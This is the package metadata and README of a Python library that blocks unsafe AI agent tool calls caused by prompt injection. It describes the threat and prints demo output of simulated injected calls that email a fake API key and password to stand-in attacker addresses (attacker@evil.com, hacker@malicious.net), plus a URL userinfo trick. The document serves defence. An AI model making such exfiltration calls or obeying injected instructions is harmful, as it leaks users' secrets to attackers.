Metadata-Version: 2.4
Name: modelfuzz
Version: 0.1.0
Summary: Runtime guardrails for AI agents.
Project-URL: Homepage, https://github.com/higagan/modelfuzz
Project-URL: Repository, https://github.com/higagan/modelfuzz
Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
Author-email: Gagan Deep <gagan.ping@gmail.com>
License: MIT
License-File: LICENSE
Keywords: ai-agents,guardrails,llm,prompt-injection,security
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: MIT License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Libraries :: Python Modules
Requires-Python: >=3.10
Requires-Dist: typer>=0.12
Description-Content-Type: text/markdown

# ModelFuzz

[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)

**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**

---

## The Problem

LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.

## The Solution

ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."

## Quickstart

```python
from modelfuzz import shield_tool

@shield_tool()
def send_email(to_address: str, subject: str, body: str) -> None:
    smtp.send(to_address, subject, body)
```

That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.

Need custom policies? Build your own engine:

```python
from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool

engine = PolicyEngine([
    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
    URLAllowList(allowed_domains=["api.mycompany.com"]),
])

@shield_tool(engine=engine)
def fetch_url(url: str) -> str:
    ...
```

## The Demo

**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).

Run it yourself with `uv run python demo.py`:

```text
============================================================
 MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
============================================================


============================================================
 PART 1: THE BREACH (UNGUARDED)
============================================================

[!] UNGUARDED AGENT: Executing tool with malicious payload...
  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})

  [!] Simulating email send...
  To: attacker@evil.com
  Subject: Stolen Data
  Body: The user's API_KEY is sk-12345...

============================================================
  🚨 BREACH
============================================================
  Data exfiltrated to attacker@evil.com
============================================================


============================================================
 PART 2: THE SHIELD (MODELFUZZ ACTIVE)
============================================================

[+] GUARDED AGENT: Executing tool with malicious payload...
  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})

  [+] ModelFuzz is intercepting the call...

  [✓] ModelFuzz caught a violation:
      Reason: String contains sensitive keyword: 'secret'

============================================================
  🛡️ MODELFUZZ BLOCKED
============================================================
  Sensitive data exfiltration stopped.
============================================================
```

## How It Works

- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.

## Installation

```bash
pip install modelfuzz
```

Or with [uv](https://github.com/astral-sh/uv):

```bash
uv add modelfuzz
```

## Contributing

Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.

## License

MIT — see [LICENSE](LICENSE) for details.
